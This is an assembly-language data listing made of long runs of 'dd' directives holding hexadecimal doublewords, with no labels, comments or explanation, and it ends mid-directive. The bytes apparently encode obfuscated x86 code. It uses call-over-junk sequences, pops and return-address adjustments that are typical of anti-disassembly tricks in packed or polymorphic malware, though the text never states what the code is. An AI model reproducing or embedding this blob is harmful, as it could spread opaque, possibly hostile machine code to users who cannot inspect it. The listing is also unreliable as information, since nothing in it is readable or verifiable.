77F381FAh, 0F4A78B0h dd 8Dh, 8EF38100h, 0F457AB0h, 0EB81D2BFh, 5C11BB98h, 8A301C89h dd 0ECC181CCh, 813EC7B6h, 89410FEEh, 3820F31h, 0F000000h dd 0C681FEBFh, 3189410Bh, 7E9h, 0AFA34200h, 6296A28Ah dd 9788FE81h, 850FFFFFh, 0FFFFFFA5h, 6B8504EBh, 12E97C78h dd 22000005h, 8BB51CC0h, 3E00A91Bh, 8DB31AC2h, 3F01A814h dd 90B21BC9h, 0B2329488h, 2C2251Bh, 8E2E95ABh, 38AC1927h dd 2EB1D591h, 0C2E5036Bh, 4FB80A5Ch, 0FD33DD6h, 0E032332Fh dd 6658C1h, 0E37AEA5Bh, 744AE3C2h, 0F2CC550Fh, 2E4AD391h dd 679384Ah, 0B8B42B4Fh, 2FAB7427h, 3C7455C9h, 4622A202h dd 11590B78h, 6EB8C388h, 9A02481h, 980FCC37h, 9AA40D2Ch dd 122CB527h, 0D0A831B3h, 2F927FABh, 2AB33192h, 1534B014h dd 42A39D34h, 0D2841B82h, 0E3C92FAAh, 3DA98E98h, 0F601F3CAh dd 64h, 6ED64F44h, 94AF68F7h, 770CC930h, 0BA2A14ABh, 0AE1930Ah dd 666BE841h, 51672F0Eh, 1F43CF5h, 4AF16E0Ah, 83C93029h dd 1BAEAA2h, 8000000h, 0F46DD74Fh, 73EA5ACAh, 132DD44Dh dd 8AAB32B2h, 30946615h, 9B32FC9h, 0E6C7B190h, 6E155EC7h dd 75EF57C4h, 0C381E2DCh, 0F56A0E6Ah, 0C9309446h, 5CEEA687h dd 0F26BD94Fh, 88EC58CCh, 0F5914BB6h, 3094AF6Ah, 713918C9h dd 0A18DF6E8h, 0F69252B4h, 0C9C4E092h, 144CD924h, 2FFED08Bh dd 90D8F9C9h, 269E0739h, 0FE2181BFh, 2FFFBA61h, 133213C9h dd 6CB6CD8Ah, 0F41C2F87h, 0B1C401h, 9EA00000h, 47F5BD27h dd 2BEE7115h, 9CC93094h, 5DCBF5BDh, 0E0407EE7h, 0BD26187Ch dd 941EDD42h, 8EAFC930h, 5F1736AFh, 9BE98DC6h, 9CC4CA32h dd 269E0896h, 0F7BF9EBFh, 53B5A28Ch, 625C3891h, 0E1980702h dd 0EAC92FD4h, 5273EACBh, 2C2241Ah, 803CA59Bh, 5E3A5E19h dd 2FD51AC1h, 0DA92B3C9h, 0B0C275A1h, 0A89B5955h, 13256DBCh dd 1F3D4C3h, 7670h, 0D94FC200h, 55CCF26Bh, 0E4407EE7h dd 5CC7F960h, 0A962DEE0h, 9B9AD228h, 0DA436246h, 357A21BEh dd 7253C930h, 57A5710Ah, 167593Dh, 0B3FBDA43h, 97F15EC8h dd 1177492Dh, 4D6CD84Ch, 4F1EAC05h, 90F46DD7h, 0C18933AEh dd 3094985Eh, 5B0161C9h, 0DD87FCC2h, 0AA740F44h, 6E503452h dd 0F1D049F3h, 0A158C2B9h, 5D57D9D3h, 6E26A45Dh, 0F3EAEC58h dd 10901h, 4FBB0000h, 0CEF069D3h, 0E76EF55h, 0D44CA975h dd 56680C68h, 2DEC73E9h, 9EC93094h, 185EF7BFh, 3D593D78h dd 0A53CA003h, 96B72D9Bh, 0CB8339A8h, 74B0F654h, 0CF5677CFh dd 79D094F1h, 0FF66DE47h, 0EC78B760h, 7CE85CC2h, 0F666DBE5h dd 0D35F246Fh, 13771379h, 0EC77CD8Ch, 97DFFEC2h, 70D542ECh dd 2635DF4h, 0E079EB5Dh, 65FC68DEh, 0DD446544h, 5BC282E3h dd 0C75EFE65h, 50C88AB5h, 0D7E98136h, 526CF56Fh, 5E254FEDh dd 1D6678D4h, 5BF2411h, 9F2A9AACh, 0C1FFFBB0h, 62C1FF65h dd 43E2B2FAh, 50000001h, 76129B37h, 0FE67DD48h, 6CF397DFh dd 0CF74C21Eh, 7FE5437Dh, 3CA3C7E6h, 0C2EC677Dh, 51276F4Eh dd 83116723h, 8D3A123h, 0E57C5D5Ah, 53FA6ADBh, 284CF86Dh dd 1028D34Ch, 80A1C2ECh, 0F66F51C8h, 0FE5940Bh, 0D8E6C2ECh dd 0F3D2F369h, 230F746Ah, 0B1831E6Ch, 0C67A35A1h, 0F1B027B4h dd 0FCB47C23h, 4AE361C2h, 0AFDF087Ch, 4A2DFBh, 379F0000h dd 2562459Fh, 0E05A019Eh, 5273C92Fh, 985E6520h, 5DB863FCh dd 3011C930h, 2F117511h, 0B2930AB2h, 5E0665FAh, 6647C930h dd 5DB960FFh, 91EAC930h, 0F144D085h, 5D9F0A95h, 1628C930h dd 89A831ABh, 8B9501A8h, 27000000h, 76129B37h, 945A6012h dd 12A67EBEh, 89A831B3h, 217FE0A8h, 60CF745Eh, 82BCD841h dd 1839A024h, 4FF56E50h, 34F082E6h, 984CB823h, 0F4F22DEAh dd 0A32182BCh, 0ADF1A53Ah, 64C2EBh, 7FE3DD44h, 473C44DDh dd 6F0B61DBh, 34BF151h, 0E441AE78h, 0E38FC960h, 0A51CEAAh dd 43C9373Fh, 60C5FB62h, 7E057DE4h, 1A933FB4h, 0BB241A7Eh dd 0F1B99801h, 6CB00B6Eh, 0F45D7CCFh, 8E36AE90h, 6BE2917h dd 0A19FBE9Fh, 27069F45h, 9B37DD6Fh, 92E97612h, 0FBCF7C25h dd 87D43DAh, 5ACBF55Ch, 86EC73EAh, 8F3D1900h, 0D33AA12h dd 0CAB22B99h, 0DC9765B1h, 259E7BA7h, 0BB2816BFh, 0AE0E724Ch dd 0B8288A31h, 4362434Ch, 0C17BE4DAh, 0CF5B2058h, 0EA430162h dd 91F56FD4h, 158C38AFh, 71E57C34h, 3, 4FFB49C3h, 0C0FE67D5h dd 4678E163h, 0C6F861DBh, 427CE55Fh, 0C7F960E4h, 447AE361h dd 0C6F861DBh, 457BE25Ah, 0EDFA63E1h, 81E78957h, 4C7h dd 4BE5600h, 29000000h, 3C875EF7h, 66685C24h, 89000048h dd 0E568241Ch, 89000035h, 0BA52240Ch, 29C701Ch, 8106EAC1h dd 411FADC2h, 8BD38906h, 0C4832414h, 283D6804h, 24890000h dd 24048324h, 0B8685904h, 8900007Fh, 0DF89243Ch, 5F087989h dd 56240C8Bh, 0C681E689h, 4, 8704C683h, 0FF5C2434h, 835B2434h dd 9BE904C4h, 0CEFFF8E8h, 9606B836h, 0C503064Bh, 65D1E0FFh dd 3E32740Ch, 79F67877h, 4E1537BCh, 0C8904550h, 9F767F16h dd 0CE15464Bh, 48100518h, 0EE8740A0h, 90FE2050h, 0A6D56B63h dd 9A020022h, 5AA539F9h, 848C17FFh, 1A4715FCh, 0FB550152h dd 485060ABh, 87AE41D4h, 0AC2F6100h, 187E4B1Fh, 8D8D4F10h dd 64B97D5h, 8ED48060h, 58CB8A57h, 5D8D8961h, 6A06442Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0DE4AC355h, 0F7B22B6h, 7985C7F1h, 64406h dd 6A00006Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0A6C4C357h, 919CD966h, 69858926h dd 0C7064430h, 44107185h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 10A5DE2Bh dd 0A9071F37h, 8CCC80F0h, 2F1B589h, 0B5FF0644h, 6440D55h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A5C35747h dd 0BF995FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 3315EBC3h, 0D28C1ADCh, 7E9h, 0BED1DD00h dd 7A65A380h, 95FF006Ah, 6441C4Dh, 1EEBC08Bh, 0DA4B75E4h dd 0EDF517h, 4F7FACE9h, 6957B6CDh, 2D9145CFh, 6C799DAh dd 0E64D16F5h, 0EE811A4h, 24000000h, 0DAA768F3h, 2A86042Bh dd 0F588F5B8h, 0AD8531D8h, 5E06442Ah, 7411D981h, 0C68150F6h dd 655Eh, 72D8D8Bh, 680644h, 0F000000h, 98Fh, 3800F00h dd 0F000000h, 665BFBB7h, 0FF75E6B9h, 9FBA3334h, 581FEDA7h dd 1939BD29h, 0C0810644h, 4264EDF7h, 3175BD8Bh, 0E8810644h dd 319378C6h, 8101D980h, 0F838F3F0h, 89C88B49h, 0E5801E04h dd 0AABB942h, 0EB812A9Ch, 0E6B5C52h, 31098D8Bh, 0C3810644h dd 0E6B5C4Eh, 0BE9h, 0BBBB2700h, 0F7C5CBEFh, 255CDEF0h dd 9B44FB81h, 850FFFFFh, 0FFFFFF9Bh, 0C48D8DFCh, 6A064B99h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0BA73C351h, 73B021Bh, 5D8D89B5h, 6A06442Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0EAD5C355h, 0C79E3B5Bh, 44067985h, 5B6806h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 34D03213h, 0EE44DA86h, 107185C7h, 644h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0FC3526C3h, 0C73F2308h, 11E95Ch, 7DEB0000h dd 0E95DD5DBh, 0CA9DD427h, 800C9A2Fh, 667D21E1h, 0B5FFD68Bh dd 64408DDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0DBC35747h, 8E0FA334h, 6, 3598D29h, 95FF0644h dd 6440BF9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0F4C35141h, 0C45685C3h, 6ABF1714h, 4D95FF00h, 8B06441Ch dd 437CEBC0h, 212C4C95h, 0DC1662E2h, 21FC1C2Fh, 0C0EC192h dd 2C355654h, 468F23D8h, 4F68CB94h, 0B9A04F9Ch, 2CAB2471h dd 4CED8976h, 0EFA9FC64h, 52338349h, 4096D0C4h, 363580A0h dd 6EC7F1B8h, 0B927F45Dh, 0A8440C9Eh, 0C8F5F839h, 695EE56Ch dd 5B2EC5D0h, 0E8C1647Fh, 57C6E3A4h, 4A1307F9h, 5067A6B7h dd 0DF56EE20h, 49CABF92h, 0EFADB250h, 6103D6CDh, 2F4FF1B0h dd 0FCA19CC9h, 8B44B574h, 0C0h, 193h dup(0) dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 8A7F6C3h, 6660A864h, 0A42CCE81h, 802DB966h dd 8E96061h, 57000000h, 0C8944DACh, 0E9C8F215h, 10h, 7277DEADh dd 31823333h, 0C197EF77h, 8797B5D9h, 56006A61h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 83FBE56h, 60F5F7ECh dd 2880Fh, 61600000h, 3B1EB866h, 6A9D61h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 3E81FAC3h dd 80272561h, 0F6061B2h, 18Eh, 5D61F800h, 244401F9h, 56006A08h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0BD6D8343h, 16870Fh, 11E90000h, 32000000h, 21C4A923h dd 9C3CBBCAh, 7764A5AAh, 22024028h, 6870F60h, 81000000h dd 180B48E6h, 0B3EF8061h, 9DFC5861h, 1800FC3h, 0FC000000h dd 0E800Fh, 0F600000h, 8Ah, 8F0F00h, 61000000h, 16850Fh dd 860F0000h, 10h, 0BE9h, 78355A00h, 451458Fh, 0F3E692C4h dd 13E9C08Bh, 0CF000000h, 0F9D04D30h, 4813CDDAh, 69D12E9Bh dd 253EDDB1h, 820FDE8Eh, 8, 2840Fh, 61600000h, 0D2A8BA66h dd 0A3E68166h, 9E9ECh, 98CB0000h, 3BB810E0h, 57B8AD05h dd 58C0B70Fh, 12E9h, 37572400h, 0E2C54C5Ch, 0D6C5085Eh dd 0E1EC52CBh, 0F17CA55h, 0C881D2B7h, 207FCD9Eh, 0DE9h dd 0D7684300h, 21974F69h, 612AB9DBh, 21BF95D9h, 663D3C31h dd 0F92DEBBh, 0E960F0BFh, 8, 3FDE65BFh, 863A02E8h, 0C0BF0F61h dd 0F684EE81h, 7E93B1Dh, 5E000000h, 0A4CCB18h, 11E88FB2h dd 10000000h, 260B08F4h, 53800E8Dh, 6A8FF74Ah, 0BA4F56DEh dd 0EAF78166h, 5E52585Eh, 0AEC1FEBEh, 0D18B663Ah, 8CD88166h dd 14E8B7h, 0B06B0000h, 0A426801Bh, 0FA4BD551h, 0DEA2421Bh dd 3C554B9Eh, 0BF66C616h, 8A59F347h, 606FB2FEh, 93C2B966h dd 58F0Fh, 0EAB80000h, 613B1ECBh, 68B0Fh, 0D9810000h, 163E0B25h dd 0E8DE8BF9h, 8, 0C4EB95E0h, 9F99820Bh, 0BE9h, 6BBEEA00h dd 6E4E9AE1h, 5E638A26h, 11E95Eh, 335A0000h, 0E759251Bh dd 41FCBC5Ah, 27F86B07h, 8B71863Dh, 68A0FC8h, 0F000000h dd 80h, 32F58000h, 0F55AF850h, 0E8DEC380h, 9, 95DA318Fh dd 36B301Dh, 820F5024h, 0 dd 6056585Fh, 665861FCh, 0B78E71BEh, 0DE8166CEh, 8B66BF3Bh dd 5890FDFh, 0BB000000h, 30054D23h, 7E9h, 0B9E26E00h, 0C0C9CB43h dd 0FD8C680h, 0E380FEB7h, 72D281D1h, 0E916DBFAh, 11h, 4DB1F909h dd 8F093AC7h, 0DDF10E4Ch, 7EA853FEh, 0CFB966A2h, 0BE92Ah dd 0C31D0000h, 53F8B7BCh, 9691ECE2h, 0C88B6657h, 0A2C9DEB8h dd 9E846h, 74A00000h, 0A9443BC9h, 8B18BD67h, 0FE95EF3h dd 0F4000000h, 30E4EFAh, 7C217E99h, 71F94985h, 8B0F8364h dd 2, 66F8FD8Ah, 0E937FAB8h, 12h, 0F5E53D4h, 38EDBD1Ah dd 51DF6B3Ch, 7F7AD49Eh, 8B661C0Dh, 0F8C9B3D7h, 8E9h, 0D585E000h dd 9007B027h, 7E851E8h, 1C000000h, 82FC2741h, 5F503C54h dd 81665B58h, 0F595CEEh, 0E84h, 9E900h, 0E530000h, 0B172FDAEh dd 0FF0FF30h, 82h, 0A19BBB00h, 0BF0F04B7h, 60C68BD0h, 1850Fh dd 61F50000h, 584220BBh, 0C881664Fh, 0BF0FBE9Dh, 8CC780DBh dd 0DE8BF18Bh, 8F0F50h, 58000000h, 98BA6653h, 860F5AF6h dd 0Ch, 6870Fh, 0C1810000h, 498DEB2Ch, 14E9h, 61D6EB00h dd 70D628CDh, 3C58E8B5h, 0A5A04B8Bh, 0EE422F62h, 0DE8B6620h dd 8AF88B66h, 0D1B260D7h, 8E851h, 49D60000h, 7A839A14h dd 5F586034h, 0B36EB861h, 0FB8B0249h, 6840Fh, 8A600000h dd 616160F7h, 0B866F9F5h, 8B669AA1h, 0FC78AC2h, 0C8Eh dd 5E800h, 3DE80000h, 0F9B7CB11h, 0F1BF0F58h, 5800Fh, 26BE0000h dd 600431AFh, 81FE8B66h, 0AB24A7F3h, 10E96116h, 0EC000000h dd 70B8FF28h, 8D329E87h, 7D5C16E2h, 0BF1A0516h, 0B700004h dd 81F08B66h, 107278E0h, 0B966F85Dh, 0B9663A4Bh, 0EB81039Eh dd 15467191h, 42B52DBFh, 0AE9523Eh, 4D000000h, 2BE260A3h dd 245FF62Ch, 81665A49h, 81B208CEh, 2FC146CFh, 0B70F6018h dd 0B971BFCAh, 0F6172E8h, 18Bh, 0CE9F800h, 2B000000h, 39F7C93h dd 0E32E5D78h, 8B194C50h, 0CC5FBECAh, 0BF663B9Ch, 0B8661313h dd 27B8F071h, 807A6714h, 0BE826D3h, 29000000h, 0C3E1D250h dd 112EDB20h, 8B66D796h, 0DE8B59F8h, 0CE9h, 0D63800h, 0E6EEB078h dd 0E0171F47h, 0D88B66D9h, 0DE8h, 55E08300h, 1280C743h dd 0C794DFBh, 0F600E29h, 82h, 12E800h, 1E3C0000h, 0A63E6C0Bh dd 0C003E7C8h, 1421A6D9h, 0E04731F2h, 6058615Ah, 0F88B6660h dd 0E96161F5h, 0Dh, 0EA9825h, 0AD817BCCh, 36AEF9BCh, 0D0B70FA3h dd 3EADBE66h, 5870F60h, 0BB000000h, 6D07B38Dh, 12E9h, 0E4950B00h dd 27A29551h, 5FC3C647h, 67846EBh, 61506E10h, 0AC78166h dd 0B6ACBBE6h, 850F00C4h, 11h, 0CE9h, 0C80DF300h, 8D200594h dd 0B6B75AD8h, 880F59h, 50000000h, 5FCEB70Fh, 487349BAh dd 0FC28B11h, 287h, 5061B000h, 8EF3C281h, 0E9596F72h, 0Bh dd 3462C8BBh, 0B310A1E8h, 0FC76D73Fh, 56D7E281h, 6E95D08h dd 0D6000000h, 5323BCEFh, 61FCBEFFh, 0EE906C2h, 44000000h dd 8A748BC7h, 130B4379h, 0C7E66E0Eh, 669CB34Dh, 7257C281h dd 0B70FC78Bh, 14830FD8h, 0E8000000h, 8, 0D44A1EEDh, 43BFE176h dd 840Fh, 805A0000h, 0BFFC24DDh, 1DD261DBh, 880FFE8Bh dd 19h, 14E9h, 0FD9E3800h, 31D66E2h, 9FB8E4F6h, 0D95596AFh dd 76BF2E61h, 0FD98BAAh, 383h, 0DBB70F00h, 0CFA3EF81h dd 5E51123Ch, 255E781h, 840F3F95h, 15h, 10E9h, 0B5544100h dd 12631EA4h, 0DEA3234Ch, 29DD2A6Dh, 8B5360FDh, 0EE958F7h dd 7D000000h, 0E2F3B641h, 368F934Ch, 4FA557D2h, 8E96113h dd 71000000h, 0F97A261Eh, 605FA90Ch, 66F6F280h, 61F906BEh dd 0E924C080h, 11h, 14C5D667h, 96C448B6h, 0B21931CCh, 6A2CFFFCh dd 0CB8B667Dh, 0F38B6660h, 0AE860h, 10A0000h, 9D9D799Ch dd 161FC099h, 8E95Fh, 4C8E0000h, 0F03AFCFFh, 6161A95Bh dd 0C73FC181h, 0FE92D09h, 91000000h, 2E9CE0B4h, 42139F4Ch dd 0ADAB336Ah, 0BE9D68Eh, 0E3000000h, 262F46E8h, 2A8FB779h dd 6E915E7h, 0C7000000h, 0B62E9DEh, 0F880F30h, 0E9000000h dd 0Ah, 0D23E006Ch, 7A6978EFh, 0C9811FB2h, 7C25CCEAh, 0A2BA6660h dd 0FDB9662Ah, 850F6128h, 3, 66F7BF0Fh, 0CD95C081h, 77AAB860h dd 0BF0F7749h, 0CF8061F8h, 9E9E2h, 918F0000h, 424EE637h dd 0E9D07A97h, 5, 65EA7746h, 0F28B661Bh, 0BF66D68Bh, 8B667DF3h dd 0C3B360D9h, 61F18B66h, 2800Fh, 0D5B40000h, 10E853h dd 0E72B0000h, 53BCFF0Ch, 0B82E1046h, 2B6499B9h, 8C0FA5DEh dd 0 dd 0FE8B5A5Ah, 66DF8B66h, 0DEB2C88Bh, 860FD68Bh, 8, 2810Fh dd 0F98B0000h, 9E9h, 0A1667E00h, 423D4B26h, 50B39A64h dd 8E9h, 0D29FC500h, 91733146h, 0F9B70F53h, 0F8CCE80h dd 384h, 5FC18000h, 38D0F60h, 0F000000h, 5A51D2B7h, 830F61h dd 66000000h, 57AA91B9h, 583FCB80h, 10E8h, 2196A300h, 0AAA0CAA4h dd 0BEAB4E81h, 8FA84A3Ah, 584CB1F5h, 0CE9D38Bh, 19000000h dd 63264988h, 0B4DE589Ah, 0E8BA1337h, 0Ah, 0A55F7D87h dd 622F02C7h, 0BB668AA1h, 0BA5A5482h, 28916705h, 640572BEh dd 0F60517Eh, 80h, 890F00h, 61000000h, 7820F5Ah, 0F000000h dd 18Eh, 8C0FF500h, 0Ch, 6860Fh, 0EE810000h, 0E89271h dd 0B86653F9h, 0BB5EE788h, 22B11AF6h, 4D91EA81h, 80515103h dd 0F5FE0E4h, 181h, 6E8FC00h, 0D5000000h, 0D88ACDDBh, 0DE85E21h dd 36000000h, 0F09C4245h, 0C028F70Dh, 5E2A34D4h, 3870Fh dd 0BF0F0000h, 0AE958FFh, 0AE000000h, 62D77B8Ah, 963AB79h dd 0BDFCB806h, 0E2B72DBCh, 5E9h, 46AE4900h, 6E93B85h, 0DC000000h dd 26B1F030h, 0DA8166DBh, 0DA812F1Ch, 273CA07Bh, 810F5956h dd 5, 2FC78166h, 0FFE8A96h, 38Dh, 0FA8B6600h, 0DE8h, 3A0CD400h dd 0F2ABE2E0h, 0DA8BED8Eh, 0C38BABD7h, 8161605Bh, 2F06F7DBh dd 660AB409h, 669190B8h, 8C0FD98Bh, 2, 0B70F58B4h, 8A0FC2h dd 0B3000000h, 0D5F18169h, 60672C12h, 76CF8166h, 0E961F838h dd 0Ah, 5AF8087Bh, 790A1D57h, 870F78C3h, 4, 5F68B657h dd 8BD38166h, 5830F6Ah, 0BE000000h, 5D828291h, 9A18E681h dd 0E9816EE1h, 247727FAh, 0E81BB966h, 0C830Fh, 7E90000h dd 41000000h, 23A6FBFDh, 810FC37Dh, 13h, 0BE8h, 0B406700h dd 0E2F2775Eh, 60A34D55h, 5358DE8Ah, 5E9h, 5A21B400h, 8059EDF6h dd 6650B1D6h, 5833A3BBh, 5FBBBF66h, 8E9h, 1A7D7800h, 909F53C3h dd 0E970B510h, 6, 290E141Dh, 34BA2608h, 0E96B6346h, 9 dd 1EAE518Fh, 0E0306CC5h, 0EE878h, 0D4710000h, 0B0AF69F7h dd 496BC61Fh, 0D7ED8257h, 10800Fh, 0BE90000h, 77000000h dd 1D814B0Ah, 8BA98004h, 805A1846h, 8C0FA2E5h, 0Ch, 6810Fh dd 8A0F0000h, 0 dd 0DBC3BB66h, 29C38166h, 8890FDEh, 0F000000h, 28Bh, 505E5700h dd 0B7FCCE81h, 605A4858h, 8E9h, 0A9630B00h, 0D375DC04h dd 0BE93Eh, 62260000h, 419C6932h, 8E52ADA7h, 0CEB0610Dh dd 0A6E38166h, 10E8EBh, 0A4BD0000h, 99597F66h, 0AEEC11C4h dd 9FFE7193h, 0CF8B8095h, 13E86058h, 72000000h, 0EC72C644h dd 8765EE01h, 8D3591FDh, 0F8CE8F1Bh, 0CB816EB0h, 1B6ACDB8h dd 0EE958h, 12CC0000h, 5E8AA3AFh, 0EE4AC20h, 103C8F79h dd 0E0DC8061h, 5EF9B853h, 8A5F09A8h, 816651E7h, 58624DE6h dd 60B6E880h, 0D7809BB1h, 0FF961ECh, 68Bh, 6FEF8100h, 0FC53F22Ah dd 7E9h, 75AEB600h, 54F2C95Dh, 3860Fh, 0BF0F0000h, 669DB5C0h dd 60B2C7B8h, 61FE8B66h, 19810Fh, 14E90000h, 0AF000000h dd 0AED53236h, 20F3DCDAh, 916E136Bh, 0B745AD00h, 0FB0370Bh dd 987h, 3880F00h, 66000000h, 0EC8AD38Bh, 6653DE8Bh, 5625D681h dd 0C3B7BA59h, 6E86973h, 65000000h, 0BCA1DCF0h, 0EE8EDh dd 0BE1E0000h, 0A896D37h, 5F9C52Dh, 0A0B182B3h, 840Fh dd 5B580000h, 3E5FB960h, 880F3B33h, 5, 60C08166h, 0BE9616Ah dd 63000000h, 0BAAB6A6Ah, 0BECF7CE3h, 0E8F869F6h, 8, 0CF1DFA3Dh dd 6FDBBF29h, 0AF2AB866h, 0CF8B6659h, 1B3EBEF5h, 0BF66306Fh dd 9E919C9h, 6000000h, 39AA88E4h, 0B9E47D0Ah, 0B8C0Fh dd 870F0000h, 5, 0DCEF8166h, 7E959h, 0ED8E0000h, 0ABD7DA8Bh dd 12E811h, 0CF8C0000h, 0F5BC494Eh, 0EC00CA84h, 9E521DAFh dd 0BE5A9917h, 2BF28060h, 0C0B85A61h, 812F4051h, 2FA20FDBh dd 0BB16035h, 8C39D081h, 0F614030h, 789h, 1860F00h, 0F8000000h dd 0C3C38166h, 0E9D98BCFh, 10h, 67BB7373h, 3015966Fh, 84030BD3h dd 0D03165C8h, 58F0Fh, 66600000h, 0E961C68Bh, 10h, 1F93DC7Ah dd 7B64A983h, 717DD939h, 3DD97920h, 5F05B750h, 4830Fh dd 0B8660000h, 0E960CBECh, 0Ah, 498AE438h, 72C8AB10h, 6056F9AEh dd 0B8615F61h, 31D434F7h, 0AE9h, 9E7A0D00h, 4C3C8B8Fh dd 0E8A456A5h, 0Fh, 3A37452Dh, 6AED6799h, 0B4AC1034h, 6696191Dh dd 605BFB8Bh, 0E961D58Ah, 0Ah, 88BF6076h, 0CD90123Fh, 60505A61h dd 8DF8BE66h, 2131F7BFh, 0E95F6179h, 12h, 52D4A61h, 0F67C1CAFh dd 294E6F6Fh, 1364C148h, 0E95647B1h, 10h, 0A155EE31h, 4E69447Bh dd 88E767C3h, 2C563DF7h, 0D78B6659h, 6E9h, 99C0C300h, 0F79D0CDh dd 8166DFB7h, 0E8324FDAh, 6, 8185849Eh, 0BF0FB397h, 0F38158C8h dd 5197BC24h, 0CBB70FF8h, 38F0Fh, 8B660000h, 0E48060D0h dd 6105B391h, 8B0Fh, 8E90000h, 6E000000h, 45AD0091h, 80370BB7h dd 0FC53D8D7h, 8CF3805Ah, 4CEB8166h, 50EBBEA3h, 0B70F6543h dd 66C28BC7h, 890FFE8Bh, 3, 6061F560h, 13E9h, 2AE61B00h dd 0EECDF718h, 3E2A14D9h, 9EB0854h, 90A9E7FEh, 800Fh, 0E9610000h dd 0Ch, 9BFDA1FFh, 0E250994Dh, 2CC7CF7Bh, 7E9C68Bh, 0AA000000h dd 3754FB5Bh, 0D38B6633h, 0FC6BF0Fh, 9E8DAB7h, 2D000000h dd 248539CFh, 3BC5B77Fh, 0BA6058F8h, 2A89316Fh, 666147B7h dd 60566DB9h, 8E0Fh, 0BA660000h, 0F610DF1h, 1285h, 0DE900h dd 0E2290000h, 8873D21Ah, 0A94DAB93h, 507CDBDEh, 952E96BAh dd 0BE95879h, 62000000h, 0D7B731C2h, 1B8A4EBEh, 0BF0FC832h dd 9BC080C3h, 87EB8166h, 3880FAAh, 0F000000h, 0C880FFBFh dd 0C6ED80CBh, 52FC181h, 0DE90EC6h, 8B000000h, 4EC53037h dd 2BD3D0A7h, 0F66B47Fh, 0C280E0B2h, 38E58079h, 12E8h dd 0A829EE00h, 87324864h, 0CDBCEF0h, 0C3813913h, 58523E80h dd 0E18166F9h, 72B60A7Dh, 0C7CE8166h, 6B1CBE80h, 0C38001C3h dd 8810FE5h, 0F000000h, 287h, 0E8595300h, 0Eh, 0F884B307h dd 76F38A16h, 0C2231D46h, 816637A8h, 59D9BADEh, 78A0Fh dd 66510000h, 0F0FFF181h, 6E95Ah, 70EB0000h, 7EDD71F0h dd 68B0Fh, 0E1810000h, 43EB0E87h, 66B0F580h, 0FCEBE081h dd 0EE9h, 86A5BC00h, 62D0F029h, 5853AEACh, 0F364B41h, 0BF0FD6BFh dd 8B6660F8h, 6661F9DEh, 5D5ED881h, 5CF08150h, 58476810h dd 3860Fh, 8B660000h, 0CAC681FAh, 0BF3DF892h, 3EA67511h dd 9B41C281h, 0BA662E34h, 0B70F0EE0h, 2870FD1h, 8B000000h dd 0DB8166C1h, 81568E49h, 0DC2796E6h, 81665923h, 81E287D8h dd 678434C2h, 0EEF58000h, 8CE2BB66h, 0E9BCD881h, 0E9565601h dd 0Ah, 7723C0EDh, 9D9C85A1h, 0F5E6B82h, 580h, 0B70F6000h dd 8B6661CAh, 0EE8DEh, 0E4990000h, 5B3B06E5h, 45FE770Ah dd 0D86C1DAh, 60F18B58h, 0EA7ABBF9h, 53614690h, 7E8h, 0FE984900h dd 795746E0h, 0C2AFC781h, 5B5E6293h, 9E8D38Bh, 42000000h dd 946ECCA5h, 16101E53h, 0B14AE881h, 665E1EFBh, 5889D081h dd 0D78B6660h, 0DB815661h, 2177EDB6h, 0CDD78059h, 9E9h dd 4217600h, 1404A194h, 0C28175D7h, 2DD425CAh, 142BBE66h dd 0BDEA8166h, 2820F30h, 8B000000h, 6E9CEh, 1C0E0000h dd 0A22D29ADh, 14E9h, 0E5154D00h, 4EB018ADh, 0F586F9A4h dd 1399396h, 269065B1h, 0C78B6634h, 0DE8h, 97144400h, 374640CCh dd 8C165285h, 890F310Eh, 2, 0F95B5956h, 1850Fh, 0FF90000h dd 589h, 0F0B9B800h, 0BA66016Dh, 8166B759h, 0E9351CC8h dd 11h, 27110199h, 0FBEA64Ch, 1D27187Ah, 9B74FA5Ah, 0AE9BAh dd 41D90000h, 0B3515A7Ah, 0DFD4D92Eh, 0C8BBB866h, 57D2C980h dd 10E9h, 7DD93900h, 0D9792071h, 0B3FB583Dh, 32831238h dd 11E95B60h, 47000000h, 102BD665h, 524EF65Dh, 9CD725D1h dd 452C7077h, 2FBE5953h, 81257530h, 6170D9D8h, 0D78B661Fh dd 0E92FEF80h, 0Fh, 0A911ABD7h, 4687E86Ah, 2CDC8D5Ch, 0B93AA411h dd 3F6B678Eh, 12E86CB4h, 5D000000h, 602DA7C1h, 0CC0308Ch dd 35038AC6h, 8BB0FBB7h, 8B66523Fh, 815B5EDAh, 986C43F3h dd 7E83Bh, 0AC530000h, 5C0D3FA9h, 0C1BF0FE2h, 0C781665Bh dd 0F5F8E036h, 0E881D08Bh, 1F0A0B9Ah, 0F80D480h, 2680h dd 11E800h, 110E0000h, 0B887AAF6h, 10981B28h, 0CB52CC0h dd 0E9A1E425h, 0Ah, 25D00935h, 0F8C6D20h, 605B0978h, 5E9FCh dd 0A0070000h, 61934341h, 0FFB70F60h, 61CBB70Fh, 0EE8h dd 0B395F800h, 2A5FFC12h, 429AED57h, 5608756Bh, 6E9h, 0D1CC3600h dd 5FCA311Fh, 0F850F5Eh, 0E8000000h, 6, 0C730697Eh, 0DF8083A7h dd 8B665AD9h, 38F0FC6h, 80000000h, 0B70F4BD6h, 58A0FD6h dd 66000000h, 0CC84EE81h, 5E58BF66h, 